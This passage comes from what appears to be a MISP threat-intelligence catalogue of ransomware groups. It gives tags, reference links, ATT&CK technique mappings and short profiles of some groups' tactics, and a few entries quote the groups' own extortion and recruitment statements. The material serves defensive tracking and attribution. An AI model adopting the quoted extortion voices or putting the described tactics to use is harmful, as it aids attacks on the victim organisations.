- uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="very-likely"

Table 13979. Table References

Links
https://www.ransomlook.io/group/vanhelsing
https://www.cyfirma.com/research/vanhelsing-ransomware/

arcane

Arcane first emerged in mid-2021 under the UNC2190 cluster and later rebranded as Sabbath, continuing its operations against critical infrastructure like hospitals, schools, and educational entities. It follows a double-extortion model—encrypting data (using ROLLCOAST/Eruption malware) while also exfiltrating sensitive information and threatening to leak it. Victims have included institutions in the U.S. and Canada across sectors such as healthcare, education, and natural resources. Initial intrusion tactics involved deployment of Cobalt Strike with custom profiles, DLL-based in-memory execution, and signed TLS certificates, plus use of stealthy GET requests ending with “kitten.gif.” Specific encryption algorithms or file extensions have not been publicly confirmed. The group appears to operate in an affiliate-style model but remains under single management rather than a full RaaS platform.

The tag is: *misp-galaxy:ransomware="arcane"*

Table 13980. Table References

Links
https://www.ransomlook.io/group/arcane
https://www.anvilogic.com/threat-reports/unc2190-arcane-and-sabbath
https://cyberscoop.com/mandiant-sabbath-arcane-ransomware-rebrand/

tuborg

The tag is: *misp-galaxy:ransomware="tuborg"*

Table 13981. Table References

Links
https://www.ransomlook.io/group/tuborg

weyhro

Appears to be a Data Extortion group with no encryption.

The tag is: *misp-galaxy:ransomware="weyhro"*

Table 13982. Table References

Links
https://www.ransomlook.io/group/weyhro

kryptina

The tag is: *misp-galaxy:ransomware="kryptina"*

Table 13983. Table References

Links
https://www.ransomlook.io/group/kryptina

kasseika

Kasseika is a ransomware variant first publicly reported in January 2024, identified as a new evolution of the BlackMatter/LockBit ransomware codebase. The malware appends the .kasseika extension to encrypted files and uses a double-extortion model, combining file encryption with threats to publish stolen data on a Tor-based leak site. Early analysis revealed that Kasseika shares several traits with LockBit 3.0, including encryption routines, obfuscation methods, and ransom note structure, but with modified branding and negotiation portals. Initial access vectors have not been widely confirmed, though patterns from related ransomware suggest the use of compromised credentials, RDP exploitation, and vulnerabilities in public-facing services. Victims have been observed in North America, Europe, and Asia, spanning industries like manufacturing, logistics, and professional services.

The tag is: *misp-galaxy:ransomware="kasseika"*

Table 13984. Table References

Links
https://www.ransomlook.io/group/kasseika
https://www.bleepingcomputer.com/news/security/new-kasseika-ransomware-emerges-with-links-to-blackmatter-lockbit/
https://www.trendmicro.com/en_us/research/24/a/kasseika-ransomware.html
https://asec.ahnlab.com/en/60537/

catb

CatB ransomware was first observed in late 2022, gaining attention for abusing DLL hijacking via the Microsoft Distributed Transaction Coordinator (MSDTC) service—loading a malicious payload through DLL sideloading methods. The malware arrives in a two-stage dropper: the first DLL unpacks and launches the main payload (commonly named oci.dll), which subsequently encrypts files using hybrid RSA/AES cryptography. Unlike conventional ransomware, CatB does not rename files or distribute typical ransom notes; instead, it prepends the ransom message directly to the

start of each encrypted file, making detection more difficult. Victims are instructed to contact the attackers via email (e.g., catB9991@protonmail.com or fishA001@protonmail.com), with the ransom demand escalating daily. Initial analysis suggests CatB may be a rebrand or evolution of Pandora ransomware, sharing various code artifacts and operational behavior.

The tag is: *misp-galaxy:ransomware="catb"*

Table 13985. Table References

Links
https://www.ransomlook.io/group/catb
https://www.sentinelone.com/blog/decrypting-catb-ransomware-analyzing-their-latest-attack-methods/
https://www.fortinet.com/blog/threat-research/ransomware-roundup-catb-ransomware
https://www.vmray.com/catb-ransomware-a-new-threat-exploiting-dll-side-loading/
https://cymulate.com/threats/catb-ransomware/

vasalocker

The tag is: *misp-galaxy:ransomware="vasalocker"*

Table 13986. Table References

Links
https://www.ransomlook.io/group/vasalocker

grinch

The tag is: *misp-galaxy:ransomware="grinch"*

Table 13987. Table References

Links
https://www.ransomlook.io/group/grinch

key group

The tag is: *misp-galaxy:ransomware="key group"*

Table 13988. Table References

Links
https://www.ransomlook.io/group/key group[https://www.ransomlook.io/group/key group]

cerberimposter

Cerber Imposer is a post-2019 rebrand of the Cerber ransomware family, resurfacing in late 2021 with updated targeting of enterprise environments. Unlike its classic counterpart, Cerber Imposer utilizes the .locked file extension and includes a unique recovery note named *RECOVERY_README*.html. It does not reuse the original Cerber codebase; instead it borrows branding while operating under new cryptographic implementations and deployment tactics. Threat actors have leveraged known remote code execution vulnerabilities in Atlassian Confluence (CVE-2021-26084) and GitLab (CVE-2021-22205) to deliver this ransomware. The rebranded variant has compromised servers in the U.S., Germany, China, and Russia, indicating a broader scope of targeting than originally seen with early Cerber campaigns.

The tag is: *misp-galaxy:ransomware="cerberimposter"*

Table 13989. Table References

Links
https://www.ransomlook.io/group/cerberimposter
https://www.bleepingcomputer.com/news/security/new-cerber-ransomware-targets-confluence-and-gitlab-servers/
https://www.sentinelone.com/blog/cerber2021-ransomware-back-in-action/
https://elastio.com/detectable-ransomware/cerber-2021/

gazprom

The tag is: *misp-galaxy:ransomware="gazprom"*

Table 13990. Table References

Links
https://www.ransomlook.io/group/gazprom

telegram

The tag is: *misp-galaxy:ransomware="telegram"*

Table 13991. Table References

Links
https://www.ransomlook.io/group/telegram

darkylock

Darky Lock is a commodity-style ransomware strain first identified in July 2022, derived from publicly available Babuk source code. Victim systems undergo file encryption with an added “.darky” extension, and a “Restore-My-Files.txt” ransom note is placed in all impacted locations. The

malware attempts to disable backup mechanisms, including shadow copies and specific applications. Its distribution leverages phishing and trojanized installers, complemented by payloads dropped via frameworks like Empire, Metasploit, and Cobalt Strike.

The tag is: *misp-galaxy:ransomware="darkylock"*

Table 13992. Table References

Links
https://www.ransomlook.io/group/darkylock
https://www.sentinelone.com/anthology/darky-lock/
https://www.pcrisk.com/removal-guides/24283-darky-lock-ransomware
https://bazaar.abuse.ch/browse/tag/DarkyLock/

eruption

Rebranded to Sabbath.

The tag is: *misp-galaxy:ransomware="eruption"*

Table 13993. Table References

Links
https://www.ransomlook.io/group/eruption

bidon

BIDON is a variant of the Monti ransomware family, first observed around mid-2023. It employs a double-extortion strategy—encrypting victims' files and simultaneously threatening to leak stolen data if the ransom isn't paid. Notably, it appends the .PUUUK extension to encrypted files and drops a readme.txt ransom note outlining the extortion demands. The note offers a free decryption of two files as proof of capability and emphasizes that only authorized company personnel (e.g., top management) should engage. BIDON specifically targets corporate and enterprise organizations, not home users, and warns victims not to involve law enforcement or third-party recovery firms. It represents a shift toward more aggressive extortion tactics within the Monti lineage.

The tag is: *misp-galaxy:ransomware="bidon"*

Table 13994. Table References

Links
https://www.ransomlook.io/group/bidon
https://www.enigmasoftware.com/bidonransomware-removal/
https://www.pcrisk.com/removal-guides/27412-bidon-ransomware
https://cyclonis.com/remove-bidon-ransomware/

thanos

The tag is: *misp-galaxy:ransomware="thanos"*

Table 13995. Table References

Links
https://www.ransomlook.io/group/thanos

deathgrip

DeathGrip is a Ransomware-as-a-Service (RaaS) that emerged around June 2024, offering malware payloads built with leaked LockBit 3.0 and Yashma/Chaos builders. Designed to lower technical barriers, it enables even low-skilled operators to deploy highly capable ransomware attacks. DeathGrip campaigns typically employ AES-256 encryption, delete shadow copies and recovery features, and modify system settings to hinder restoration. Earlier infections include low-tier ransom demands (e.g., around $100), reflecting entry-level targeting, though its flexible tooling allows a range of payload configurations.

The tag is: *misp-galaxy:ransomware="deathgrip"*

Table 13996. Table References

Links
https://www.ransomlook.io/group/deathgrip
https://www.broadcom.com/support/security-center/protection-bulletin/deathgrip-emergence-of-a-new-ransomware-as-a-service
https://www.sentinelone.com/blog/deathgrip-raas-small-time-threat-actors-aim-high-with-lockbit-yashma-builders
https://www.enigmasoftware.com/deathgripransomware-removal/
https://www.pcrisk.com/removal-guides/30382-deathgrip-ransomware

skira team

The tag is: *misp-galaxy:ransomware="skira team"*

Table 13997. Table References

Links
https://www.ransomlook.io/group/skira team[https://www.ransomlook.io/group/skira team]

miliphen

The tag is: *misp-galaxy:ransomware="miliphen"*

Table 13998. Table References

Links
https://www.ransomlook.io/group/miliphen

mamona

The tag is: *misp-galaxy:ransomware="mamona"*

Table 13999. Table References

Links
https://www.ransomlook.io/group/mamona

farattack

The tag is: *misp-galaxy:ransomware="farattack"*

Table 14000. Table References

Links
https://www.ransomlook.io/group/farattack

taronis

The tag is: *misp-galaxy:ransomware="taronis"*

Table 14001. Table References

Links
https://www.ransomlook.io/group/taronis

nvrmre

AKA Lemon

The tag is: *misp-galaxy:ransomware="nvrmre"*

Table 14002. Table References

Links
https://www.ransomlook.io/group/nvrmre

zerolockersec

The tag is: *misp-galaxy:ransomware="zerolockersec"*

Table 14003. Table References

Links
https://www.ransomlook.io/group/zerolockersec

frozen

The tag is: *misp-galaxy:ransomware="frozen"*

Table 14004. Table References

Links
https://www.ransomlook.io/group/frozen

blacksnake

BlackSnake is a Ransomware-as-a-Service (RaaS) operation that first appeared in August 2022, when its operators began recruiting affiliates on underground forums with an unusually low revenue share of 15%. It primarily targets home users rather than large enterprises and does not maintain a public leak site. Built on the Chaos ransomware code base, it features both file encryption and a cryptocurrency clipper module to steal funds from victims. The ransomware is developed in .NET and includes safeguards to avoid execution in Turkish or Azerbaijani environments, suggesting geographic targeting preferences. Infections result in encrypted files and ransom notes instructing victims to make contact via email for payment negotiations. The group's operational scale and visibility remain limited compared to major RaaS families.

The tag is: *misp-galaxy:ransomware="blacksnake"*

Table 14005. Table References

Links
https://www.ransomlook.io/group/blacksnake
https://www.netskope.com/blog/netskope-threat-coverage-blacksnake-ransomware
https://www.broadcom.com/support/security-center/protection-bulletin/blacksnake-ransomware-another-chaos-variant

mcafee

The tag is: *misp-galaxy:ransomware="mcafee"*

Table 14006. Table References

Links
https://www.ransomlook.io/group/mcafee

satanlock

Connected to GD Lockersec and Babuk-Bjorka.

Group is aka SalanLock (from typo on

victim pages).

The tag is: *misp-galaxy:ransomware="satanlock"*

Table 14007. Table References

Links
https://www.ransomlook.io/group/satanlock

crypto24

aka Public Data Storage

The tag is: *misp-galaxy:ransomware="crypto24"*

Table 14008. Table References

Links
https://www.ransomlook.io/group/crypto24
https://exchange.xforce.ibmcloud.com/threats/guid%3Afa7cb7e2ed554da0b7413eca362ed8f8
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/crypto24
https://www.sangfor.com/blog/cybersecurity/vietnam-cmc-group-ransomware-attack-anatomy-asian-cyber-shock
https://www.cyfirma.com/research/tracking-ransomware-april-2025

bert

BERT ransomware (also tracked as Water Pombero) first emerged in April 2025, rapidly targeting both Windows and Linux systems across Asia, Europe, and the U.S., with confirmed victims in healthcare, technology, electronics, and event services sectors. Its Windows variant employs a PowerShell-based loader that escalates privileges, disables Defender, UAC, and the firewall, then downloads the ransomware payload. The Linux version aggressively encrypts with up to 50 concurrent threads, forcibly shuts down VMware ESXi VMs to prevent recovery, and appends extensions like .encryptedbybert or .encrypted_by_bert. BERT uses AES encryption, and later variants feature optimized multithreading via ConcurrentQueue and DiskWorker threads. Analysts note code similarities with REvil and Babuk ESXi lockers, potentially pointing to shared development lineage or code reuse.

The tag is: *misp-galaxy:ransomware="bert"*

Table 14009. Table References

Links
https://www.ransomlook.io/group/bert
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/bert

https://www.csoonline.com/article/4019468/trend-micro-flags-bert-a-rapidly-growing-ransomware-threat.html
https://securityboulevard.com/2025/07/new-bert-ransomware-evolves-with-multiple-variants/
https://www.halcyon.ai/blog/bert-ransomwares-first-moves-kill-the-vms-kill-the-backups
https://www.darkreading.com/cyber-risk/bert-blitzes-linux-windows-systems
https://www.fortra.com/blog/bert-ransomware-what-you-need-know
https://theravenfile.com/2025/06/16/bert-ransomware/

devman

The tag is: *misp-galaxy:ransomware="devman"*

Table 14010. Table References

Links
https://www.ransomlook.io/group/devman
https://medium.com/@anyrun/devman-ransomware-analysis-of-new-dragonforce-variant-ede707fd30b1
https://www.broadcom.com/support/security-center/protection-bulletin/devman-a-new-dragonforce-ransomware-variant
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/devman
https://www.hivepro.com/threat-advisory/devman-ransomware-is-a-new-derivative-of-the-dragonforce-family/

direwolf

The tag is: *misp-galaxy:ransomware="direwolf"*

Table 14011. Table References

Links
https://www.ransomlook.io/group/direwolf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/dire-wolf-strikes-new-ransomware-group-targeting-global-sectors/
https://www.darkreading.com/threat-intelligence/dire-wolf-ransomware-manufacturing-technology
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/dire-wolf

cyberex

The tag is: *misp-galaxy:ransomware="cyberex"*

Table 14012. Table References

Links
https://www.ransomlook.io/group/cyberex

ransombay

The tag is: *misp-galaxy:ransomware="ransombay"*

Table 14013. Table References

Links
https://www.ransomlook.io/group/ransombay

gunra

The tag is: *misp-galaxy:ransomware="gunra"*

Table 14014. Table References

Links
https://www.ransomlook.io/group/gunra
https://www.trendmicro.com/en_us/research/25/g/gunra-ransomware-linux-variant.html
https://www.darkreading.com/threat-intelligence/nimble-gunra-ransomware-linux-variant
https://industrialcyber.co/ransomware/cyfirma-warns-of-gunra-ransomware-surge-targeting-critical-infrastructure-using-double-extortion
https://watchguard.com/wgrd-security-hub/ransomware-tracker/gunra
https://theravenfile.com/2025/09/23/gunra-ransomware-what-you-dont-know/

silent

The tag is: *misp-galaxy:ransomware="silent"*

Table 14015. Table References

Links
https://www.ransomlook.io/group/silent

worldleaks

The tag is: *misp-galaxy:ransomware="worldleaks"*

Table 14016. Table References

Links
https://www.ransomlook.io/group/worldleaks

datacarry

The tag is: *misp-galaxy:ransomware="datacarry"*

Table 14017. Table References

Links
https://www.ransomlook.io/group/datacarry
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/datacarry
https://asec.ahnlab.com/en/88240/
https://www.bitdefender.com/blog/businessinsights/bitdefender-threat-debrief-june-2025

nova

Rebrand of RALord

The tag is: *misp-galaxy:ransomware="nova"*

Table 14018. Table References

Links
https://www.ransomlook.io/group/nova

j group

The tag is: *misp-galaxy:ransomware="j group"*

Table 14019. Table References

Links
https://www.ransomlook.io/group/j group[https://www.ransomlook.io/group/j group]

lyrix

The tag is: *misp-galaxy:ransomware="lyrix"*

Table 14020. Table References

Links
https://www.ransomlook.io/group/lyrix

lcryptorx

The tag is: *misp-galaxy:ransomware="lcryptorx"*

Table 14021. Table References

Links
https://www.ransomlook.io/group/lcryptorx

azzasec

```
We are AzzaSec – a decentralized PMC (Private Military Contractor), RaaS (Ransomware-as-a-Service) syndicate, and botnet operator at the intersection of cyberwarfare, asymmetric operations, and underground economics.&br/>&br/>Emerging from the collapse of traditional hacktivism, we evolved into a sovereign digital force. We offer custom offensive solutions to clients with political, financial, or strategic objectives. We are stateless, leaderless, and loyal only to code.&br/>
```

The tag is: *misp-galaxy:ransomware="azzasec"*

Table 14022. Table References

Links
https://www.ransomlook.io/group/azzasec

desolated

The tag is: *misp-galaxy:ransomware="desolated"*

Table 14023. Table References

Links
https://www.ransomlook.io/group/desolated

imn crew

The tag is: *misp-galaxy:ransomware="imn crew"*

Table 14024. Table References

Links
https://www.ransomlook.io/group/imn crew[https://www.ransomlook.io/group/imn crew]

teamxxx

The tag is: *misp-galaxy:ransomware="teamxxx"*

Table 14025. Table References

Links
https://www.ransomlook.io/group/teamxxx

global

Not a RaaS yet.

The tag is: *misp-galaxy:ransomware="global"*

Table 14026. Table References

Links
https://www.ransomlook.io/group/global
https://blog.eclecticiq.com/global-group-emerging-ransomware-as-a-service
https://cybersecurity-magazine.com/news/ransomware-ai-chatbot-pressure/
https://infosecurity-magazine.com/news/ransomware-group-uses-ai-chatbot/
https://broadcom.com/support/security-center/protection-bulletin/global-a-new-blacklock-ransomware-variant
https://picussecurity.com/resource/blog/tracking-global-group-ransomware-from-mamona-to-market-scale
https://cyware.com/news/global-group-ransomware-claims-breach-of-media-giant-albavision

walocker

The tag is: *misp-galaxy:ransomware="walocker"*

Table 14027. Table References

Links
https://www.ransomlook.io/group/walocker

warlock

The tag is: *misp-galaxy:ransomware="warlock"*

Table 14028. Table References

Links
https://www.ransomlook.io/group/warlock

naga

The tag is: *misp-galaxy:ransomware="naga"*

Table 14029. Table References

Links
https://www.ransomlook.io/group/naga

slam

The tag is: *misp-galaxy:ransomware="slam"*

Table 14030. Table References

Links
https://www.ransomlook.io/group/slam

kawa

The tag is: *misp-galaxy:ransomware="kawa"*

Table 14031. Table References

Links
https://www.ransomlook.io/group/kawa

d4rk4rmy

The tag is: *misp-galaxy:ransomware="d4rk4rmy"*

Table 14032. Table References

Links
https://www.ransomlook.io/group/d4rk4rmy

qilin-securotrop

The tag is: *misp-galaxy:ransomware="qilin-securotrop"*

Table 14033. Table References

Links
https://www.ransomlook.io/group/qilin-securotrop

ank

The tag is: *misp-galaxy:ransomware="ank"*

Table 14034. Table References

Links
https://www.ransomlook.io/group/ank

vulcan

The tag is: *misp-galaxy:ransomware="vulcan"*

Table 14035. Table References

Links
https://www.ransomlook.io/group/vulcan

payoutsking

```
Payouts King Group. We are not RaaS. No affiliates are accepted. We use Tox messaging
protocol.
```

The tag is: *misp-galaxy:ransomware="payoutsking"*

Table 14036. Table References

Links
https://www.ransomlook.io/group/payoutsking

elonmusknow

The tag is: *misp-galaxy:ransomware="elonmusknow"*

Table 14037. Table References

Links
https://www.ransomlook.io/group/elonmusknow

homeland

The tag is: *misp-galaxy:ransomware="homeland"*

Table 14038. Table References

Links
https://www.ransomlook.io/group/homeland

bqtlock

aka BaqiyatLock

The tag is: *misp-galaxy:ransomware="bqtlock"*

Table 14039. Table References

Links
https://www.ransomlook.io/group/bqtlock
https://www.pcrisk.com/removal-guides/33382-bqtlock-ransomware
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/bqtlock
https://www.cybershafarat.com/2025/07/30/bqtlock-ransomware-op-status/

blackhunt

The tag is: *misp-galaxy:ransomware="blackhunt"*

Table 14040. Table References

Links
https://www.ransomlook.io/group/blackhunt
https://www.bleepingcomputer.com/news/security/paraguay-warns-of-black-hunt-ransomware-attacks-after-tigo-business-breach/
https://www.rapid7.com/blog/post/2024/02/05/exploring-the-not-so-secret-code-of-blackhunt-ransomware-2/

himalayaa

The tag is: *misp-galaxy:ransomware="himalayaa"*

Table 14041. Table References

Links
https://www.ransomlook.io/group/himalayaa

cryptedpay

The tag is: *misp-galaxy:ransomware="cryptedpay"*

Table 14042. Table References

Links
https://www.ransomlook.io/group/cryptedpay
https://www.pcrisk.com/removal-guides/21736-cryptedpay-ransomware
https://www.enigmasoftware.com/cryptedpayransomware-removal/

mindware

The tag is: *misp-galaxy:ransomware="mindware"*

Table 14043. Table References

Links
https://www.ransomlook.io/group/mindware

ransomedvc2

RansomedVC2 aka RebornVC aka RansomedVC (rebrand) under new leadership.

The tag is: *misp-galaxy:ransomware="ransomedvc2"*

Table 14044. Table References

Links
https://www.ransomlook.io/group/ransomedvc2

ranion

The tag is: *misp-galaxy:ransomware="ranion"*

Table 14045. Table References

Links
https://www.ransomlook.io/group/ranion

cryp70n1c0d3

The tag is: *misp-galaxy:ransomware="cryp70n1c0d3"*

Table 14046. Table References

Links
https://www.ransomlook.io/group/cryp70n1c0d3

blackbyte-crux

The tag is: *misp-galaxy:ransomware="blackbyte-crux"*

Table 14047. Table References

Links
https://www.ransomlook.io/group/blackbyte-crux
https://www.huntress.com/blog/crux-ransomware
https://www.itpro.com/business/cybersecurity-researchers-have-spotted-a-potent-new-ransomware-strain-being-used-in-the-wild
https://securityboulevard.com/2025/07/new-crux-ransomware-emerges-in-three-attacks-this-month/

https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/blackbyte-crux

devman2

The tag is: *misp-galaxy:ransomware="devman2"*

Table 14048. Table References

Links
https://www.ransomlook.io/group/devman2

sinobi

The tag is: *misp-galaxy:ransomware="sinobi"*

Table 14049. Table References

Links
https://www.ransomlook.io/group/sinobi

sharpboys

The tag is: *misp-galaxy:ransomware="sharpboys"*

Table 14050. Table References

Links
https://www.ransomlook.io/group/sharpboys

zeta leaks

The tag is: *misp-galaxy:ransomware="zeta leaks"*

Table 14051. Table References

Links
https://www.ransomlook.io/group/zeta leaks[https://www.ransomlook.io/group/zeta leaks]

black nevas

BlackNevas ransomware — also referred to as “Trial Recovery” — was first observed in November 2024. It is a direct derivative of the Trigona ransomware family and continues the lineage’s focus on extortion over public shaming. BlackNevas operators support a double-extortion model, encrypting files using AES-256 with RSA-4112-protected keys, and appending the .-encrypted or .ENCRYPTED file extension to affected files. Hybrid payloads are available for Windows, Linux, NAS, and VMware ESXi platforms.

While BlackNevas does not host its own data leak site, it reportedly collaborates with other ransomware groups for data publication — known

partners include Kill Security, Hunters International, DragonForce, Blackout, Embargo Team, and Mad Liberator. The group has predominantly targeted large enterprises in sectors such as finance, telecommunications, manufacturing, healthcare, and legal. Initial access is commonly achieved via phishing or exploitation of vulnerabilities, with lateral movement facilitated through SMB enumeration and optional LAN-wide propagation.

The tag is: *misp-galaxy:ransomware="black nevas"*

Table 14052. Table References

Links
https://www.ransomlook.io/group/black nevas[https://www.ransomlook.io/group/black nevas]
https://www.sentinelone.com/anthology/blacknevas/
https://www.hookphish.com/blog/ransomware-group-blacknevas-hits-tani-and-abe/

pear

ABOUT US:

"Pure Extraction And Ransom (PEAR) Team is the community of highly responsible and strictly disciplined members. We are a private team and have nothing common with any other threat actors. We’ve been monitoring this field for a long-long time. So, we understand all the processes and know well how it all works."

The tag is: *misp-galaxy:ransomware="pear"*

Table 14053. Table References

Links
https://www.ransomlook.io/group/pear

bober

The tag is: *misp-galaxy:ransomware="bober"*

Table 14054. Table References

Links
https://www.ransomlook.io/group/bober

bytesfromheaven

The tag is: *misp-galaxy:ransomware="bytesfromheaven"*

Table 14055. Table References

Links
https://www.ransomlook.io/group/bytesfromheaven

piratelock

The tag is: *misp-galaxy:ransomware="piratelock"*

Table 14056. Table References

Links
https://www.ransomlook.io/group/piratelock

leaknet

In the cyber-undergrounds, we're exploring shadowed corridors of the digital world in search of inside information. we're a digital watchdog operating at the intersection of cybersecurity, internet freedom, and investigative journalism. We delve into the hidden corners of the web, exposing truths and uncovering stories that are often buried by mainstream media or distorted by corporate interests.

This project isn't just for tech experts or privacy advocates. It's for everyone who values transparency, freedom, and integrity in a connected world. Operating independently, we're free from corporate influence and political bias, enabling us to report with uncompromising honesty. Our work resonates with a diverse audience cybersecurity experts, digital rights activists, journalists, and anyone who values an internet free from control.

In a world where the lines between truth and agenda grow increasingly blurred, we're building something bold, the space where the truth of the internet can be uncovered, untamed and unfiltered. Our project is an independent voice for digital freedom, committed to shining a light on the internet's most vital and vulnerable spaces: cybersecurity, privacy, and the right to information without compromise.

In a landscape clouded by agendas and profit, we are here to do one thing: deliver the truth, boldly and beautifully. Join us as we push back against the systems that seek to compromise our digital freedoms and carve a path toward a more transparent, liberated internet.

The tag is: *misp-galaxy:ransomware="leaknet"*

Table 14057. Table References

Links
https://www.ransomlook.io/group/leaknet

lockbit5

The tag is: *misp-galaxy:ransomware="lockbit5"*

Table 14058. Table References

Links
https://www.ransomlook.io/group/lockbit5

tssxx25

The tag is: *misp-galaxy:ransomware="tssxx25"*

Table 14059. Table References

Links
https://www.ransomlook.io/group/tssxx25

lunalock

The tag is: *misp-galaxy:ransomware="lunalock"*

Table 14060. Table References

Links
https://www.ransomlook.io/group/lunalock

desolator

The tag is: *misp-galaxy:ransomware="desolator"*

Table 14061. Table References

Links
https://www.ransomlook.io/group/desolator

obscura

The tag is: *misp-galaxy:ransomware="obscura"*

Table 14062. Table References

Links
https://www.ransomlook.io/group/obscura

toufan

The tag is: *misp-galaxy:ransomware="toufan"*

Table 14063. Table References

Links
https://www.ransomlook.io/group/toufan

cephalus

The tag is: *misp-galaxy:ransomware="cephalus"*

Table 14064. Table References

Links
https://www.ransomlook.io/group/cephalus

xleaks

The tag is: *misp-galaxy:ransomware="xleaks"*

Table 14065. Table References

Links
https://www.ransomlook.io/group/xleaks

yurei

The tag is: *misp-galaxy:ransomware="yurei"*

Table 14066. Table References

Links
https://www.ransomlook.io/group/yurei

lamialocker

The tag is: *misp-galaxy:ransomware="lamialocker"*

Table 14067. Table References

Links
https://www.ransomlook.io/group/lamialocker

turkish crypter

The tag is: *misp-galaxy:ransomware="turkish crypter"*

Table 14068. Table References

Links
https://www.ransomlook.io/group/turkish crypter[https://www.ransomlook.io/group/turkish crypter]

securotrop

The tag is: *misp-galaxy:ransomware="securotrop"*

Table 14069. Table References

Links
https://www.ransomlook.io/group/securotrop

kirov

The tag is: *misp-galaxy:ransomware="kirov"*

Table 14070. Table References

Links
https://www.ransomlook.io/group/kirov

the gentlemen

The tag is: *misp-galaxy:ransomware="the gentlemen"*

Table 14071. Table References

Links
https://www.ransomlook.io/group/the gentlemen[https://www.ransomlook.io/group/the gentlemen]

coinbase cartel

aka ShinyHunters

The tag is: *misp-galaxy:ransomware="coinbase cartel"*

Table 14072. Table References

Links
https://www.ransomlook.io/group/coinbase cartel[https://www.ransomlook.io/group/coinbase cartel]

blackshrantac

The tag is: *misp-galaxy:ransomware="blackshrantac"*

Table 14073. Table References

Links
https://www.ransomlook.io/group/blackshrantac

arachna leak

The tag is: *misp-galaxy:ransomware="arachna leak"*

Table 14074. Table References

Links
https://www.ransomlook.io/group/arachna leak[https://www.ransomlook.io/group/arachna leak]

octovillan

The tag is: *misp-galaxy:ransomware="octovillan"*

Table 14075. Table References

Links
https://www.ransomlook.io/group/octovillan

izis

The tag is: *misp-galaxy:ransomware="izis"*

Table 14076. Table References

Links
https://www.ransomlook.io/group/izis

white lock

The tag is: *misp-galaxy:ransomware="white lock"*

Table 14077. Table References

Links
https://www.ransomlook.io/group/white lock[https://www.ransomlook.io/group/white lock]

radiant group

The tag is: *misp-galaxy:ransomware="radiant group"*

Table 14078. Table References

Links
https://www.ransomlook.io/group/radiant group[https://www.ransomlook.io/group/radiant group]

miga

#MakeIsraelGreatAgain

The tag is: *misp-galaxy:ransomware="miga"*

Table 14079. Table References

Links
https://www.ransomlook.io/group/miga

scattered lapsus$ hunters

The tag is: *misp-galaxy:ransomware="scattered lapsus$ hunters"*

Table 14080. Table References

Links
https://www.ransomlook.io/group/scattered lapsus$ hunters[https://www.ransomlook.io/group/scattered lapsus$ hunters]

kyber

The tag is: *misp-galaxy:ransomware="kyber"*

Table 14081. Table References

Links
https://www.ransomlook.io/group/kyber

kryptos

The tag is: *misp-galaxy:ransomware="kryptos"*

Table 14082. Table References

Links
https://www.ransomlook.io/group/kryptos

nasir security

The tag is: *misp-galaxy:ransomware="nasir security"*

Table 14083. Table References

Links
https://www.ransomlook.io/group/nasir security[https://www.ransomlook.io/group/nasir security]

tengu

The tag is: *misp-galaxy:ransomware="tengu"*

Table 14084. Table References

Links
https://www.ransomlook.io/group/tengu

brotherhood

The tag is: *misp-galaxy:ransomware="brotherhood"*

Table 14085. Table References

Links
https://www.ransomlook.io/group/brotherhood

quicklock

The tag is: *misp-galaxy:ransomware="quicklock"*

Table 14086. Table References

Links
https://www.ransomlook.io/group/quicklock

punisher

The tag is: *misp-galaxy:ransomware="punisher"*

Table 14087. Table References

Links
https://www.ransomlook.io/group/punisher

zircon

The tag is: *misp-galaxy:ransomware="zircon"*

Table 14088. Table References

Links
https://www.ransomlook.io/group/zircon

genesis

```
Financial interests only.&lt;br/&gt;    We do not provide or work with affiliate programs,
no collaborations either.&lt;br/&gt;    The requested payment must be made within a
specified time frame, otherwise the price may be increased, we will begin to publish
the data we have about your company and notify the company's customers and
suppliers.&lt;br/&gt;    Charitable, non-profit, and medical institutions are only hacked
if they have reputation gaps known from open sources or discovered in company data.
However, this is only data extraction; live support systems are not affected.&lt;br/&gt;
Data is always destroyed after payment; we do not attack the same company twice.&lt;br/&gt;
Interesting fact: once, the total amount of claims against a breached company exceeded
its entire capitalization. We know how to create trouble, though it is in our mutual
interest to avoid it.&lt;br/&gt;    To make the data leak more valuable, the most important
information is published in a separate folder for each company called parsed and is
also published on darkweb forums.
```

The tag is: *misp-galaxy:ransomware="genesis"*

Table 14089. Table References

Links
https://www.ransomlook.io/group/genesis

fulcrumsec

The tag is: *misp-galaxy:ransomware="fulcrumsec"*

Table 14090. Table References

Links
https://www.ransomlook.io/group/fulcrumsec

ms13-089

The tag is: *misp-galaxy:ransomware="ms13-089"*

Table 14091. Table References

Links
